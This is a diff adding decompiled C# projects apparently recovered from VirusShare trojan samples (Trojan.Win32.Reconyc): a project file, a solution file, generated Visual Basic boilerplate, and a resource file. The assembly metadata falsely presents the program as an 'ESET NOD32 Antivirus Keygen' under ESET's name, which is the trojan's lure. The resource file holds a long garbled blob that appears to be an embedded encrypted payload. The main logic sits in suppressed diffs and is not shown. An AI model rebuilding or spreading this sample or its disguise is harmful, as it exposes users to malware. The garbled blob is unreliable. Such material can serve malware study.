internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egjq-cde6c4ee7c4f180c803cddbd3b786ea77c40439e414a435210f01b6119f69e25.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{8B873F38-3E65-40F7-8B42-142066AE560F}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>bp3cxhjs</AssemblyName>
|
||||
<ApplicationVersion>1.0.48.5</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="ÎÙ8ÑÍ.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
<Compile Include="MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="s02tdiur.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "bp3cxhjs", "Trojan.Win32.Reconyc.egjq-cde6c4ee7c4f180c803cddbd3b786ea77c40439e414a435210f01b6119f69e25.csproj", "{8B873F38-3E65-40F7-8B42-142066AE560F}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{8B873F38-3E65-40F7-8B42-142066AE560F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8B873F38-3E65-40F7-8B42-142066AE560F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8B873F38-3E65-40F7-8B42-142066AE560F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8B873F38-3E65-40F7-8B42-142066AE560F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+9204
File diff suppressed because it is too large
Load Diff
+1010
File diff suppressed because it is too large
Load Diff
+9
@@ -0,0 +1,9 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyProduct("ESET NOD32 Antivirus")]
|
||||
[assembly: AssemblyTitle("ESET NOD32 Keygen")]
|
||||
[assembly: AssemblyTrademark("ESET, spol. s.r.o. All rights reserved")]
|
||||
[assembly: AssemblyDescription("ESET NOD32 Antivirus Keygen")]
|
||||
[assembly: AssemblyCompany("ESET© LLC")]
|
||||
[assembly: AssemblyCopyright("Copyright © 1992-2010 by ESET")]
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: Ð5Qæªo9E, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: ADB6FA32-9FFF-4137-9449-DFA399EAD1A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
public MyApplication()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: Ð5Qæªo9E, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: ADB6FA32-9FFF-4137-9449-DFA399EAD1A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+113
@@ -0,0 +1,113 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: Ð5Qæªo9E, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: ADB6FA32-9FFF-4137-9449-DFA399EAD1A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[HideModuleName]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+398
@@ -0,0 +1,398 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="Td1c3KPi" xml:space="preserve">
|
||||
<value>ÇáXIX-1£fµVs•ÕÓÄ¿¸åÃgŽN¥IänG>†ªôL[¯h[dîm {=¿;FW(=RIý0ÇÍȸŸwCS¿hÛñ¿óV"ßàž¾B#Hâüw:ÑÁÎÖİeƒ´W†WŸyõ5MKœ\' }F›ü<|×~;d–5j
|
||||
LôoØfm†>)uÝji)œÒ OÍH5$xP#[Ÿ;ˆWoëWS=ï1ç:U‹FF/ù#4ËkökIäd
|
||||
YÖQ~bÁÔ6õ5MKœ\' }F›ü<|×~;d–5j
|
||||
LôoØfm†î´è@xC}¼‡\˜`qÈ-å¬ÐsÂ{}H’Òªü@D*øB:çˆV««Â@~@iOÖvëFdÉI"vù5z$UIê/ÿ$Âz|«kg=ÛY°p0›2w*ØR{$Cª1Æxs˜ [óT$W(¢!džûêS¶ž×í•Áe֜Ԕ¼8„ÌàÆÌ2ì:çˆV››ò$ÀþÀé϶ëvTiî‡Ó\”Û…ôèKŽ^¼™¿ÇÁÖª÷ÌŸv¶FíDé¶DÎç¸ßž&½
|
||||
´¿Tìû§¸È»ûÄNÍ�ÛšçöOª‚Ëñ‰MéZÊÌ_…Ž9…ïÉŒƒÏ ~³ï.ø"%Ú€€¢“ú®!馸‰•6ó#Áäb¢Ú<¯ o)tO’E…ÅnÇM¿5A&g}æQïä· üTã“à ŸÕV›€ë¹ÄÕl‰¡·–î*޽-+¸b"ZÞÂÆ¨Ž„z¤r¯ÀÓÓºlˆ¶ˆáé§£_NÏbâ!rý5z´ÅÙzG—uPÖnh¿^e¸6ß_4ØGGQÆ¡àXÃlÒÙ2Šý¡ ¾Î½ý £nµóqô‰˜!Ä쥟ç#‡4休¯Nº]áåsU_¡Ä«u¾¾×}C}Tr«–)„m9¶>q/ŽÄÑùµæ F†nc´tH.ócŠJ
|
||||
¦ã¼NÄí²Õ”,·�¾µ¦±ÃâaœyFÌOÎ[Ÿ—†?Ú²ûÁ¹ÍiÚJLßE=¹oICý#õØ·i¤¤ÍÿÁÿÖð)‰4©‹&¦Ï›¢í³ÂÞ}¸hНI‰ñ÷ [\±ŠWÙ0ð°²÷¨ZÐù¦Á€8£ª¡Jò幦֥åÚPÓŃ„ùèQ´œÕï—S÷DÔÒA›Û£'›Ÿñ×Ý#ý+ö™GŠŠã5ÑïÑøÞ§:§…(¨Á•Òò®
|
||||
Èúß9ù‡Pë챊WÙ0ð°²÷¨ZÐù¦Á€8£ª¡Jò幦֥åÚPÓŃ„ùèQ´œÕï—S÷DÔÒA›Û£#Ë¥¹¹”Ɔðí¬¹É`¶RlR{]„$¹$«+B™Q@1-ŽK›y\ºzl««ÐÓŽµhæÏü§¢ýs—~!ž
|
||||
õnV½E�œ4g(›Û<C€M‚÷µ02÷?t¦Jñ6mâã¥6™bÁ•�.· Ôe¤zd©4HCMâ‹ i÷E{§gÏ�Ë£©I•6~nu›Êòô^^&«!¼2VÖ•Aì‡ujƒß_Ì{Pó,?Ó»ó@ÃQBÏï-¯¹Ü•°˜J°É ”·çáVÉä N×*Ó}¾`8ø’£„zSøáB ñbsçkDs¼
|
||||
GÂÔ½ÊʲIÞIrŸä9 ‰Hm®÷r-J�Ú�»¦ÙXïQZÕ=~×cªÆ…�Ç-ú›¶2̤Hýœ¡’vÄqKhò²Gƒ8GIŸU«þè4~„Ùp?Ó¤½RqULX׊…ÄŽ¢‘ÄÈ/²†‡G‰ÎÌIwÞÉ">økí¢»aƇ¢fÑà2A½ üTi2¨–™Ý¸22˾?ÚO?òJÊghÏ¿T28]s2«èΦržˆlqÃÕ wQ�^ûÈuƒÀûY,‡pYÚä7Ø*‘Uµ®{YÅ!ÜtJËø?ÚášVîÌvW›_3h¥Þ@¨ r4A}¯ƒ&yž!Ùò³V¸#|‚¥íg}ðŠ0ê7¯
|
||||
÷·Ëg<¯:8ýÔjݶ:ìä{¿§Â¥OƒE•·['¶éî,[¢Ð²^bÏf„*DQ‡°õ8çlÖTBJ\»}lÃMŽõGqì3’3»ºº‹Ï‚
|
||||
ayRµÁûã'ì8˜(Ñ«©*b¸û,
|
||||
��à&giÊ£…£©ûû™GÝôþj=ø¶1‚ÒkHÞ33Ð0ñ º8Lƒ¾5,W©^l†³
|
||||
=|~3=£•ʯÐ-¦{OÝÎÞ™”(Þ.¼—Sr¿;“!lnÖ&kPЩ†QÌýZ†æ9ƒŠxîú×dùµ,#É€\ÞÜ{¹9`r×À¦Ã¸|IQ”†[¥ù†åÏ||×’dKD‘þU1'œ©¸Ø$ï¿€
|
||||
ð™R-_™Ô(ÐÁõ8›·0à¹sžf‰h çínRÄ3Ù”;WH7ݲfs.Œ&>+°¥’{þQ {f®8“©1ÖEŽúw.Pî÷CE6]k_Áõ™Tï’!d‹°8¢‡³û33±ƒ]’œ50íƒÑñ½ôük÷lõ7"DÁ~æÈyöh«^Á¾Ò0ܵ‹,Pƒh9€¶joáº4ÿÍÓ!ùj;{3–ÆooZîÉG®^0Hº M&øž(–÷av*ƒ7ü8tÑ\·zA…n½¬mÔñ¹„q½æóôëVƒˆô<£«‰ÀÍ&8n}ŒZ>�>¡‡Óp¸¡ ˆîÇy3ÎÙ„ÑtHÆW�CÚJYe}J—à úUQnœÇ˜ÿÎv0ŸÆÉ¤Psô„sofßω˜‰0Ôó-„øŠ*qá‡Î`£ß??^yú@ÓõÈgvL/ÑïîUÐLOê{/ è§W&/ºrò+ʤb.á5Ñ*lî¬ù…£"e‘%fF[ÇTâ_U¹Ô1Õ^"($?¥ÛBµéx}g®
|
||||
0ÿ=®ð›—‘K²æ^ϧ6”bqÃú…ÉZáÍŒ-Õè…˜ýéæ‚ÓÓÛatpd§â¨µÜÑ2=òÑø5䕈,X[ò7hšêÃ
|
||||
ƾ=úlM¢%3Ò:6|ăÌû8õ)oíhž•Òÿ·Žkc£,55îèÓëoè]`^&v•g¶¶C„ouDëK`!˜ÎNCut'þC·k
|
||||
;tžåen²ÌqÔ¡!#Ô!År-Ø•W!Oj†]0ôäÝ·,;wÜj“4Pˆ?DÀCÕ¨¹ƒ�(qL5hxçcÇ!àaJЏŠUïÛU‡ë¿)?ÛlKlÅÇš°ælžÃûó ó„a ̇o-±ÙL‘Ì{Xu×7ÓÞ¹tø
|
||||
2ßü¯gŸ£g©¿UfXës�Poå“›@3·‚h¶ki%i Äüj3à¡æ‹�)Vµ“�÷aK¼bêí½Ú ÌMöû%wp5âQñ!VßèÑ Tõw»^¼û
|
||||
Zð±ë¨@?”²M*Ê|4¬iàX ‰·³<Hâ,C¾ü¹´ÔÙ=X‚9ñ´Sx>þ§ô˜ÑÞ-ËÉŽ^ÃYG–•ö›pÓã…oÒBRÉ|ù oêY
|
||||
¿8s©¶_1ÀÃEûÿ7,IÇn®îò^ðµ7(èç-¯5€K›ÅœÄÌ|Ivü9ûJÈÆ é„Þ6:{7ãý€¢g ‰MÔ\GU”d€ØÈ>ìW•.Çá·ÑO1œê¾ñ8t§?<Ÿ/ÎË#9mñ[óÓƒÍW=~
|
||||
Jáî€ß,Ìÿ¹
|
||||
ûî?È{¾ÚM0¶¢–ÎðŽ
|
||||
£—i)b]&ã\°©·mT%ækúÑlS:"œÒ¹h¤+Ù™Ò§p¥ïÇ 5„Öƒz‰‹þ⼋ÈÖŸ}&£¡á$G"z@ž%ŒÅøÐ=lPuùeŸžY
|
||||
ÉGð`ΞJpÎÖd»r쎃F;«KÄ·NãG4«¬HÕ•dúSQ¨ˆ7ÉžRRK×b
|
||||
 f/¦y;¾Åп,;ïÑÔÈk®é
|
||||
]P}Ug+áç õUº9ÍzˆÅ‚‹£ÿØD×`RŠòͤ¿ë%_-?ÈWVWïV8·m¿kDCïåƒá‘
|
||||
2
|
||||
eDó»¢M£Wí„R¶‘œ¢ðyS‹ÚU=nd(ƒÕ¤4Ó1QEQo3¨û¤ƒ»gj£ÓxÀ�ó�‰¡sàÅmC ÂŵÁ²ÖV-¡ÓÚTëuø5Ç5úvÅ›J50™½+èã%æÛÔ”¼O¤Óö0¿fÙ£§¢ñÝã¡Vç:öÖ‹¥“i‘E6è4“á'’uŸÈ¶MbÞ¥_rÔ•ò;zÒLž¾hÅ=Œ·àb¶?"všg¯�ÕÃÆý3©ïmi7&ß9Ðþ¢ïݯ©z¡â!¡¡8ÚüOn—*r9§g%4ñó¿êoPúyø£H£UÒœŒnSÐ+PW;'�ÉÉàSOcøÌ5N¨]¹žW¨<>Ä#ØÙŠ:а¼+wñ?P׳N3Ök¿’°¨‡ôdz�Ñ’ë¼õÛt{�.–ºùôI½J!Aƒ–Á\Úv(%è…%&óÂÞeÜàÆ ?Š›[ Óø+3Ú²¨N:ä0¯Èa?€sü¹n2r
|
||||
B6w€:3>å›6»ÇÕÄ)0yC‘U ‘~*Ô,Õ†TÄz¤r;”òBB+ý’‡µä=ÊŽ¥Ùpkå!n0Êú&¨tª
|
||||
,ì!b±ì*!÷ýüJ–A]ð,C<k^ü›P(³ÂA&V®¹ä‘æ|V¹jНɕWÒ/û l„Í÷Õ æóµ&Ä«ÄAþ§à‡ºDšyÁNÄ’Ò»”ß.€^ï*^Ëim›€H4î·«ÍPò‚Œô©ï8\ îb_Q…
|
||||
Ê¡M†b@½Ø™Éfß`hÅvÕäS#3Gâ(«ÖeÁI³Ï‘hht»A9äì<: =u:ƒ‡ƒmKAÕª0W솲£,´” ¢TÌíeog(3‡“¯E-ãAç'7S‹J2mÔpmã"Ö7™$K#i@7j©3%§#ˆ0¾)¹J=}Ö}kã<÷u“é¯]›Sï›
|
||||
?Ѭ(B(‹æ8aßÅ[ìE˹Ôú\$9 €C¬A(|G…R°ºæEè_·“rZÖk|¼ïÕž¤z9éôš1˜òHBƒOÀµµ^XSNÎ5–Ò…un('òsëFÿZÃÁ8ú^ýmkyíjÎÅúèk6¦vØÇdEa_2D놶?WÎè:Ú‹‹ËÔ£½£s¯·R´á¥ß%^üÇ‘ÃÂ}ÚW‡l¢,Œ#ÑÔ°/î’Úɾ1m‘mvðè!–m3Ò“¢:^3âÊJrRH¢ÖsÈߣ§zŠ�Cè%ðî#¨Ðç.•a°UŽºâ{¬/¢¯gsò`0yKg—e£tÿ› uÇ™õõµªï°Û}#Ñ‘Ce¾umzædAï›= O®ö¾LM%¿*+ʽ€ø<>ŸñL•ÕO(éø$*P6!ñf©©À–íÛ;9w/èšu×\Q€O‡}sƒ,tÖµþÕª-}—ððK_¶ŽÉd͈š—]ù¬Ç¨°ùEÙÂù.v¶×¦Ú›ëäm¬ûËÂç?¸]u¼
|
||||
m®Hv†‚Rý¾ãd$>¹Uüðª¤xµµ\èÔêÃe(žÊR Ò»ëd¬ãÊaú:û*ËoÒW¸vt¥×Mq ]—Ž(QâmD|#œ=è|çÒÿ¯°µýãùOùF™óº¯ÚðÌáøMu±¼,*2ìp ”*/NeMc`hóç]|À«›=vÖKÖtMØTŠMƒÒ³ªá¯bèË X»Á*eâÁ´‰WÖ>i-ªþ{,ݧsôˆÎ"S® ß_CëëE_ªÖY2{)q뉴ÃúƒþAÉB]«“ë`@õ›½·ÆÄv£y/êqQx@Z8ÜCQ‡Ãý*£g©‹qãvÙ,Q+y¯!â“°âC…õT†å‚OŽ5_¤Ô’»L2¼$®êW ˜R#¡oÉËme¼ÏlþÏ!·° g›Ç[lÆ ;å©|N-Œ“¾D¤_QÞšå_š•ú¯#fÐå%޳‘µPåœ/;~IRªðúÖ¹/ d-ýeC•¦.‰ZmŽm@SSüõ¾òzXÓŸIeóШCû
|
||||
Ãä—EÞ
|
||||
÷’jXœòI?G•ÊÃð*jæc±Uæý_ßù¤9¬
|
||||
ñ»ºF²àõ|ëÒ‹8K+¢ý
|
||||
^í0¾W†qÜQ(fD¼ñƒ`
|
||||
o‡l½ ša¾Úíuj@ÆÖŸrB—"'ù¹ê:¥®"Ô#¬(F`îc&…Ïfõ÷ŸN.PõØ;æ{Ðe�ÉJ¦ŠÔCà°¤*V–y»�øªÇ"[Kä8y
|
||||
